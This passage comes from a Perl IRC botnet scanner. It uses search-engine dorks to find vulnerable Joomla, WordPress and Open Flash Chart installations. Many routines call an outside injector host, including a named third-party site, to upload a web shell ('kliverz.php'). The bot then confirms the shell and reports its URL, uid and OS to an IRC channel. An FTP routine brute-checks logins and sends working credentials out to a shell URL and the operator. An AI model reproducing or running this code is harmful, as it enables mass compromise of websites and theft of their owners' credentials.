  1081. if ($check2 =~ /uid=(.*?)gid=/){$uid=$1;}
  1082.  
  1083. &msg("$chan","$thumblogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1084. &msg("$nama","$thumblogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $vuln315 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1085.  
  1086. }
  1087.  
  1088. if ($check3 =~ /GIF89a/) {
  1089. my $safe = ""; my $os = ""; my $uid = "";
  1090.  
  1091. if ($check3 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1092. if ($check3 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1093. if ($check3 =~ /uid=(.*?)gid=/){$uid=$1;}
  1094.  
  1095. &msg("$chan","$thumblogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1096. &msg("$nama","$thumblogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $vuln415 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1097.  
  1098. }
  1099.  
  1100. if ($check4 =~ /GIF89a/) {
  1101. my $safe = ""; my $os = ""; my $uid = "";
  1102.  
  1103. if ($check4 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1104. if ($check4 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1105. if ($check4 =~ /uid=(.*?)gid=/){$uid=$1;}
  1106.  
  1107. &msg("$chan","$thumblogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1108. &msg("$nama","$thumblogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $vuln515 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1109.  
  1110. }
  1111.  
  1112. if ($check5 =~ /GIF89a/) {
  1113. my $safe = ""; my $os = ""; my $uid = "";
  1114.  
  1115. if ($check5 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1116. if ($check5 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1117. if ($check5 =~ /uid=(.*?)gid=/){$uid=$1;}
  1118.  
  1119. &msg("$chan","$thumblogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1120. &msg("$nama","$thumblogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $vuln615 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1121.  
  1122.  
  1123. }
  1124. }
  1125. }
  1126. }
  1127. }
  1128.  
  1129. sub jce_exploit() {
  1130. my $chan = $_[0];
  1131. my $bug = $_[1];
  1132. my $simpan = $_[2];
  1133. my $dork = $_[3];
  1134. my $engine = $_[4];
  1135. my $count = 0;
  1136. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jcelogo);
  1137. my $num = scalar(@totexploit);
  1138. if ($num > 0){
  1139. foreach my $site(@totexploit){
  1140. $count++;
  1141. if ($count == $num-1) { &msg("$chan","$jcelogo15$engine 9Finished 15for 9$dork "); }
  1142. my $jceshell = "http://".$site."images/stories/3xp.php";
  1143.  
  1144. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1145. my $nama = $simpan;
  1146. my $cek = &get_content($jceshell);
  1147. if ($cek =~ /GIF89GHZ/) {
  1148. if ($cek =~ m/<\/title>(.*?)<form action/g) {$safe = $1;}
  1149.  
  1150. &msg("$chan","$jcelogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (OS=$safe) ");
  1151. &msg("$nama","$jcelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $jceshell15 (OS=$safe) ");
  1152.  
  1153. }
  1154.  
  1155. } exit; }
  1156. }
  1157. }
  1158. }
  1159.  
  1160. sub ftp() {
  1161. my $host = $_[0];
  1162. my $user = $_[1];
  1163. my $pass = $_[2];
  1164. my $chan = $_[3];
  1165. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1166. my $success = 1;
  1167. use Net::FTP;
  1168. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  1169. $success = 0 if $ftp->login($user,$pass);
  1170. $ftp->quit;
  1171. if ($success == 0) {
  1172. my $sent = "http://".$site."images/stories/kliverz.php?cpanel&site=".$site."?user=".$user."?pass=".$pass;
  1173. &get_content($sent);
  1174. &msg("$admin","4,1 [8FTP4] [ 8host : ".$host." 4] [ 8login : ".$user." 4] [ 8pass : ".$pass." 4] 8Success ");
  1175. &msg("$chan","4,1 [8FTP4] Found on 8http://$host ");
  1176. }
  1177. } exit;
  1178. }
  1179. }
  1180. sub photostore_exploit() {
  1181. my $chan = $_[0];
  1182. my $bug = $_[1];
  1183. my $simpan = $_[2];
  1184. my $dork = $_[3];
  1185. my $engine = $_[4];
  1186. my $count = 0;
  1187. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$photostorelogo);
  1188. my $num = scalar(@totexploit);
  1189. if ($num > 0){
  1190. foreach my $site(@totexploit){
  1191. $count++;
  1192. if ($count == $num-1) { &msg("$chan","$photostorelogo15$engine 9Finished 15for 9$dork "); }
  1193. my $photostore = "http://".$site.$bug;
  1194. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1195. my $nama = $simpan;
  1196. my $cxshell = "http://".$site."/kliverz.php";
  1197.  
  1198. my $cek = &get_content($photostore);sleep(1);
  1199. my $explo = $rceinjector."?url=".$site."&type=photostore";
  1200. &get_content($explo);sleep(1);
  1201. my $check = &get_content($cxshell);sleep(1);
  1202.  
  1203. if ($check =~ /Indramayu CyBer/i){
  1204. my $safe = ""; my $os = ""; my $uid = "";
  1205. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1206. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1207. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1208. &msg("$chan","$photostorelogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1209. &msg("$nama","$photostorelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $cxshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1210. }
  1211.  
  1212. } exit; }
  1213. }
  1214. }
  1215. }
  1216. sub elemin_exploit() {
  1217. my $chan = $_[0];
  1218. my $bug = $_[1];
  1219. my $simpan = $_[2];
  1220. my $dork = $_[3];
  1221. my $engine = $_[4];
  1222. my $count = 0;
  1223. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$eleminlogo);
  1224. my $num = scalar(@totexploit);
  1225. if ($num > 0){
  1226. foreach my $site(@totexploit){
  1227. $count++;
  1228. if ($count == $num-1) { &msg("$chan","$eleminlogo15$engine 9Finished 15for 9$dork "); }
  1229. my $elemin = "http://".$site.$bug;
  1230. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1231. my $nama = $simpan;
  1232. my $cxshell = "http://".$site."/wp-content/themes/elemin/uploads/kliverz.php";
  1233.  
  1234. #my $cek = &get_content($elemin);sleep(1);
  1235. # if ($cek =~ /No files were uploaded/i){
  1236. # &msg("$chan","$eleminlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1237.  
  1238. my $explo = $rceinjector."?url=".$site."&type=elemin";
  1239. &get_content($explo);sleep(1);
  1240. my $check = &get_content($cxshell);sleep(1);
  1241.  
  1242. if ($check =~ /Indramayu CyBer/i){
  1243. my $safe = ""; my $os = ""; my $uid = "";
  1244. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1245. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1246. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1247. &msg("$chan","$eleminlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1248. &msg("$nama","$eleminlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $cxshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1249. }
  1250. #}
  1251. } exit; }
  1252. }
  1253. }
  1254. }
  1255. sub joomleague_exploit() {
  1256. my $chan = $_[0];
  1257. my $bug = $_[1];
  1258. my $simpan = $_[2];
  1259. my $dork = $_[3];
  1260. my $engine = $_[4];
  1261. my $count = 0;
  1262. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$joomleaguelogo);
  1263. my $num = scalar(@totexploit);
  1264. if ($num > 0){
  1265. foreach my $site(@totexploit){
  1266. $count++;
  1267. if ($count == $num-1) { &msg("$chan","$joomleaguelogo15$engine 9Finished 15for 9$dork "); }
  1268.  
  1269. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1270. my $nama = $simpan;
  1271. my $joomleagueshell = "http://".$site."/components/com_joomleague/assets/classes/tmp-upload-images/kliverz.php";
  1272.  
  1273. my $joomleagues = "http://".$site."/components/com_joomleague/assets/classes/open-flash-chart/ofc_upload_image.php";
  1274. my $cek = &get_content($joomleagues);
  1275. if ($cek =~ /Saving your image/i){
  1276. &msg("$chan","$joomleaguelogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1277.  
  1278. my $type = $rceinjector."?url=".$site."&type=joomleague";
  1279.  
  1280. my $cekk = &get_content($type);
  1281. $check = &get_content($joomleagueshell."?kliverz");
  1282. &get_content($joomleagueshell."?delete");
  1283. &get_content($joomleagueshell."?botnet");
  1284.  
  1285. if ($cekk =~ /sukses bos kliverz/i){
  1286. if ($check =~ /Indramayu CyBer/i) { my $safe = ""; my $os = ""; my $uid = "";
  1287.  
  1288. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1289. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1290. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1291. &msg("$chan","$joomleaguelogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1292. &msg("$nama","$joomleaguelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $joomleagueshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1293.  
  1294. }
  1295. }
  1296. }
  1297. } exit; }
  1298. }
  1299. }
  1300. }
  1301. sub pointofsale_exploit() {
  1302. my $chan = $_[0];
  1303. my $bug = $_[1];
  1304. my $simpan = $_[2];
  1305. my $dork = $_[3];
  1306. my $engine = $_[4];
  1307. my $count = 0;
  1308. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$pointofsalelogo);
  1309. my $num = scalar(@totexploit);
  1310. if ($num > 0){
  1311. foreach my $site(@totexploit){
  1312. $count++;
  1313. if ($count == $num-1) { &msg("$chan","$pointofsalelogo15$engine 9Finished 15for 9$dork "); }
  1314.  
  1315. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1316. my $nama = $simpan;
  1317. my $pointofsaleshell = "http://".$site."/application/libraries/tmp-upload-images/kliverz.php";
  1318.  
  1319. my $pointofsales = "http://".$site."/application/libraries/ofc-library/ofc_upload_image.php";
  1320. my $cek = &get_content($pointofsales);
  1321. if ($cek =~ /Saving your image/i){
  1322. &msg("$chan","$pointofsalelogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1323.  
  1324. my $type = $rceinjector."?url=".$site."&type=pointofsale";
  1325.  
  1326.  
  1327. my $cekk = &get_content($type);
  1328. $check = &get_content($pointofsaleshell."?kliverz");
  1329. &get_content($pointofsaleshell."?delete");
  1330. &get_content($pointofsaleshell."?botnet");
  1331.  
  1332. if ($cekk =~ /sukses bos kliverz/i){
  1333. if ($check =~ /Indramayu CyBer/) {
  1334. &get_content($pointofsaleshell."?shell");
  1335. my $safe = ""; my $os = ""; my $uid = "";
  1336.  
  1337. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1338. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1339. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1340. &msg("$chan","$pointofsalelogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1341. &msg("$nama","$pointofsalelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $pointofsaleshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1342.  
  1343. }
  1344. }
  1345. }
  1346. } exit; }
  1347. }
  1348. }
  1349. }
  1350. sub clipbucket_exploit() {
  1351. my $chan = $_[0];
  1352. my $bug = $_[1];
  1353. my $simpan = $_[2];
  1354. my $dork = $_[3];
  1355. my $engine = $_[4];
  1356. my $count = 0;
  1357. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$clipbucketlogo);
  1358. my $num = scalar(@totexploit);
  1359. if ($num > 0){
  1360. foreach my $site(@totexploit){
  1361. $count++;
  1362. if ($count == $num-1) { &msg("$chan","$clipbucketlogo15$engine 9Finished 15for 9$dork "); }
  1363.  
  1364. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1365. my $nama = $simpan;
  1366. my $clipbucketshell = "http://".$site."/admin_area/charts/tmp-upload-images/kliverz.php";
  1367.  
  1368. my $clipbuckets = "http://".$site."/admin_area/charts/ofc-library/ofc_upload_image.php";
  1369. my $cek = &get_content($clipbuckets);
  1370. if ($cek =~ /Saving your image/i){
  1371. &msg("$chan","$clipbucketlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1372.  
  1373. my $type = $rceinjector."?url=".$site."&type=clipbucket";
  1374.  
  1375.  
  1376. my $cekk = &get_content($type);
  1377. $check = &get_content($clipbucketshell."?kliverz");
  1378. &get_content($clipbucketshell."?delete");
  1379. &get_content($clipbucketshell."?botnet");
  1380.  
  1381. if ($cekk =~ /sukses bos kliverz/i){
  1382. if ($check =~ /Indramayu CyBer/) { my $safe = ""; my $os = ""; my $uid = "";
  1383.  
  1384. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1385. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1386. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1387. &msg("$chan","$clipbucketlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1388. &msg("$nama","$clipbucketlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $clipbucketshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1389.  
  1390. }
  1391. }
  1392. }
  1393. } exit; }
  1394. }
  1395. }
  1396. }
  1397. sub redmistyc_exploit() {
  1398. my $chan = $_[0];
  1399. my $bug = $_[1];
  1400. my $simpan = $_[2];
  1401. my $dork = $_[3];
  1402. my $engine = $_[4];
  1403. my $count = 0;
  1404. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$redmistyclogo);
  1405. my $num = scalar(@totexploit);
  1406. if ($num > 0){
  1407. foreach my $site(@totexploit){
  1408. $count++;
  1409. if ($count == $num-1) { &msg("$chan","$redmistyclogo15$engine 9Finished 15for 9$dork "); }
  1410.  
  1411. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1412. my $nama = $simpan;
  1413. my $redmistycshell = "http://".$site."/administrator/components/com_redmystic/chart/tmp-upload-images/kliverz.php";
  1414.  
  1415. my $redmistycs = "http://".$site."/administrator/components/com_redmystic/chart/ofc-library/ofc_upload_image.php";
  1416. my $cek = &get_content($redmistycs);
  1417. if ($cek =~ /Saving your image/i){
  1418. &msg("$chan","$redmistyclogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1419.  
  1420. my $type = $rceinjector."?url=".$site."&type=redmistyc";
  1421.  
  1422.  
  1423. my $cekk = &get_content($type);
  1424. $check = &get_content($redmistycshell."?kliverz");
  1425. &get_content($redmistycshell."?delete");
  1426. &get_content($redmistycshell."?botnet");
  1427.  
  1428. if ($cekk =~ /sukses bos kliverz/i){
  1429. if ($check =~ /Indramayu CyBer/) { my $safe = ""; my $os = ""; my $uid = "";
  1430.  
  1431. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1432. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1433. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1434. &msg("$chan","$redmistyclogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1435. &msg("$nama","$redmistyclogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $redmistycshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1436.  
  1437. }
  1438. }
  1439. }
  1440. } exit; }
  1441. }
  1442. }
  1443. }
  1444.  
  1445. sub rfi_exploit() {
  1446. my $chan = $_[0];
  1447. my $bug = $_[1];
  1448. my $simpan = $_[2];
  1449. my $dork = $_[3];
  1450. my $engine = $_[4];
  1451. my $count = 0;
  1452. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rfilogo);
  1453. my $num = scalar(@totexploit);
  1454. if ($num > 0){
  1455. foreach my $site(@totexploit){
  1456. $count++;
  1457. if ($count == $num-1) { &msg("$chan","$rfilogo15$engine 9Finished 15for 9$dork "); }
  1458. my $nama = $simpan;
  1459. my $coba = "http://".$site.$bug."test???";
  1460. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1461. my $cek = &get_content($coba);sleep(1);
  1462. my $test = "http://".$site.$bug.$rfiinjector."???";
  1463.  
  1464. if ($cek =~ /failed to open stream/) {
  1465. my $check = &get_content($test);sleep(1);
  1466. if ($check =~ /Indramayu CyBer/i) {
  1467. my $safe = ""; my $os = ""; my $uid = "";
  1468.  
  1469. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1470. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1471. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1472. &msg("$chan","$rfilogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1473. &msg("$nama","$rfilogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $test15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1474. }
  1475. } exit;
  1476. }
  1477. }
  1478. }
  1479. }
  1480. }
  1481. sub reflex_exploit() {
  1482. my $chan = $_[0];
  1483. my $bug = $_[1];
  1484. my $simpan = $_[2];
  1485. my $dork = $_[3];
  1486. my $engine = $_[4];
  1487. my $count = 0;
  1488. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$reflexlogo);
  1489. my $num = scalar(@totexploit);
  1490. if ($num > 0){
  1491. foreach my $site(@totexploit){
  1492. $count++;
  1493. if ($count == $num-1) { &msg("$chan","$reflexlogo15$engine 9Finished 15for 9$dork "); }
  1494. my $reflex = "http://".$site.$bug;
  1495. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1496. my $nama = $simpan;
  1497. my $cxshell = "http://".$site."/wp-content/uploads/kliverz.php";
  1498.  
  1499. my $cek = &get_content($reflex);sleep(1);
  1500. if ($cek =~ /No files were uploaded/i){
  1501. &msg("$chan","$reflexlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1502.  
  1503. my $explo = $rceinjector."?url=".$site."&type=ref";
  1504. &get_content($explo);sleep(1);
  1505. my $check = &get_content($cxshell);sleep(1);
  1506.  
  1507. if ($check =~ /Indramayu CyBer/i){
  1508. my $safe = ""; my $os = ""; my $uid = "";
  1509. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1510. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1511. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1512. &msg("$chan","$reflexlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1513. &msg("$nama","$reflexlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $cxshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1514. }
  1515. }
  1516. } exit; }
  1517. }
  1518. }
  1519. }
  1520.  
  1521. sub switchblade_exploit() {
  1522. my $chan = $_[0];
  1523. my $bug = $_[1];
  1524. my $simpan = $_[2];
  1525. my $dork = $_[3];
  1526. my $engine = $_[4];
  1527. my $count = 0;
  1528. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$switchbladelogo);
  1529. my $num = scalar(@totexploit);
  1530. if ($num > 0){
  1531. foreach my $site(@totexploit){
  1532. $count++;
  1533. if ($count == $num-1) { &msg("$chan","$switchbladelogo15$engine 9Finished 15for 9$dork "); }
  1534. my $switchblade = "http://".$site.$bug;
  1535. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1536. my $nama = $simpan;
  1537. my $cxshell = "http://".$site."/wp-content/uploads/2014/1/kliverz.php";
  1538.  
  1539. my $cek = &get_content($switchblade);sleep(1);
  1540. if ($cek =~ /No files were uploaded/i){
  1541. &msg("$chan","$switchbladelogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1542.  
  1543. my $explo = $rceinjector."?url=".$site."&type=switchblade";
  1544. &get_content($explo);sleep(1);
  1545. my $check = &get_content($cxshell);sleep(1);
  1546.  
  1547. if ($check =~ /Indramayu CyBer/i){
  1548. my $safe = ""; my $os = ""; my $uid = "";
  1549. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1550. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1551. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1552. &msg("$chan","$switchbladelogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1553. &msg("$nama","$switchbladelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $cxshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1554. }
  1555. }
  1556. } exit; }
  1557. }
  1558. }
  1559. }
  1560.  
  1561. sub coldfusion_exploit() {
  1562. my $chan = $_[0];
  1563. my $bug = $_[1];
  1564. my $simpan = $_[2];
  1565. my $dork = $_[3];
  1566. my $engine = $_[4];
  1567. my $count = 0;
  1568. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$coldfusionlogo);
  1569. my $num = scalar(@totexploit);
  1570. if ($num > 0){
  1571. foreach my $site(@totexploit){
  1572. $count++;
  1573. if ($count == $num-1) { &msg("$chan","$coldfusionlogo15$engine 9Finished 15for 9$dork "); }
  1574. my $coldfusion = "http://".$site.$bug;
  1575. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1576. my $nama = $simpan;
  1577. my $cxshell = "http://".$site."/wp-content/uploads/settingsimages/kliverz.php";
  1578.  
  1579. my $cek = &get_content($coldfusion);sleep(1);
  1580. if ($cek =~ /No files were uploaded/i){
  1581. &msg("$chan","$coldfusionlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1582.  
  1583. my $explo = $rceinjector."?url=".$site."&type=coldfusion";
  1584. &get_content($explo);sleep(1);
  1585. my $check = &get_content($cxshell);sleep(1);
  1586.  
  1587. if ($check =~ /Indramayu CyBer/i){
  1588. my $safe = ""; my $os = ""; my $uid = "";
  1589. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1590. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1591. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1592. &msg("$chan","$coldfusionlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1593. &msg("$nama","$coldfusionlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $cxshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1594. }
  1595. }
  1596. } exit; }
  1597. }
  1598. }
  1599. }
  1600.  
  1601. sub phpvms_exploit() {
  1602. my $chan = $_[0];
  1603. my $bug = $_[1];
  1604. my $simpan = $_[2];
  1605. my $dork = $_[3];
  1606. my $engine = $_[4];
  1607. my $count = 0;
  1608. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$phpvmslogo);
  1609. my $num = scalar(@totexploit);
  1610. if ($num > 0){
  1611. foreach my $site(@totexploit){
  1612. $count++;
  1613. if ($count == $num-1) { &msg("$chan","$phpvmslogo15$engine 9Finished 15for 9$dork "); }
  1614.  
  1615. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1616. my $nama = $simpan;
  1617. my $phpvmsshell = "http://".$site."/core/lib/tmp-upload-images/kliverz.php";
  1618.  
  1619. my $phpvmss = "http://".$site."/core/lib/php-ofc-library/ofc_upload_image.php";
  1620. my $cek = &get_content($phpvmss);
  1621. if ($cek =~ /Saving your image/i){
  1622. &msg("$chan","$phpvmslogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1623.  
  1624. my $phpvmsv = "http://wibo.pl/administrator/components/components/rcex.php?url=";
  1625. my $type = $rceinjector."?url=".$site."&type=phpvms";
  1626.  
  1627.  
  1628. my $cekk = &get_content($type);
  1629. $check = &get_content($phpvmsshell."?kliverz");
  1630. &get_content($phpvmsshell."?delete");
  1631. &get_content($phpvmsshell."?botnet");
  1632.  
  1633. if ($cekk =~ /sukses bos kliverz/i){
  1634. if ($check =~ /Indramayu CyBer/) { my $safe = ""; my $os = ""; my $uid = "";
  1635.  
  1636. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1637. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1638. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1639. &msg("$chan","$phpvmslogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1640. &msg("$nama","$phpvmslogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $phpvmsshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1641.  
  1642. }
  1643. }
  1644. }
  1645. } exit; }
  1646. }
  1647. }
  1648. }
  1649. sub maian_exploit() {
  1650. my $chan = $_[0];
  1651. my $bug = $_[1];
  1652. my $simpan = $_[2];
  1653. my $dork = $_[3];
  1654. my $engine = $_[4];
  1655. my $count = 0;
  1656. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$maianlogo);
  1657. my $num = scalar(@totexploit);
  1658. if ($num > 0){
  1659. foreach my $site(@totexploit){
  1660. $count++;
  1661. if ($count == $num-1) { &msg("$chan","$maianlogo15$engine 9Finished 15for 9$dork "); }
  1662.  
  1663. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1664. my $nama = $simpan;
  1665. my $maianshell = "http://".$site."/administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/kliverz.php";
  1666.  
  1667. my $maians = "http://".$site."/administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php";
  1668. my $cek = &get_content($maians);
  1669. if ($cek =~ /Saving your image/i){
  1670. &msg("$chan","$maianlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  1671.  
  1672. my $type = $rceinjector."?url=".$site."&type=maian";
  1673.  
  1674.  
  1675. my $cekk = get_content($type);
  1676. $check = &get_content($maianshell."?kliverz");
  1677. &get_content($maianshell."?delete");
  1678. &get_content($maianshell."?botnet");
  1679.  
  1680. if ($cekk =~ /sukses bos kliverz/i){
  1681. if ($check =~ /Indramayu CyBer/) { my $safe = ""; my $os = ""; my $uid = "";
  1682.  
  1683. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1684. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1685. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1686. &msg("$chan","$maianlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  1687. &msg("$nama","$maianlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $maianshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1688.  
  1689. }
  1690. }
  1691.  
  1692. }
  1693. } exit; }
  1694. }
  1695. }
  1696. }
  1697. sub letter_exploit() {
  1698. my $chan = $_[0];
  1699. my $bug = $_[1];
  1700. my $simpan = $_[2];
  1701. my $dork = $_[3];
  1702. my $engine = $_[4];
  1703. my $count = 0;
  1704. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$letterlogo);
  1705. my $num = scalar(@totexploit);
  1706. if ($num > 0){
  1707. foreach my $site(@totexploit){
  1708. $count++;
  1709. if ($count == $num-1) { &msg("$chan","$letterlogo15$engine 9Finished 15for 9$dork "); }
  1710.  
  1711. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1712. my $nama = $simpan;
  1713. my $lettershell = "http://".$site."/administrator/components/com_jnewsletter/includes/openflashchart/tmp-upload-images/kliverz.php";
  1714.  
  1715. my $letters = "http://".$site."/administrator/components/com_jnewsletter/includes/openflashchart/php-ofc-library/ofc_upload_image.php";
  1716. my $cek = &get_content($letters);
  1717. if ($cek =~ /Saving your image/i){
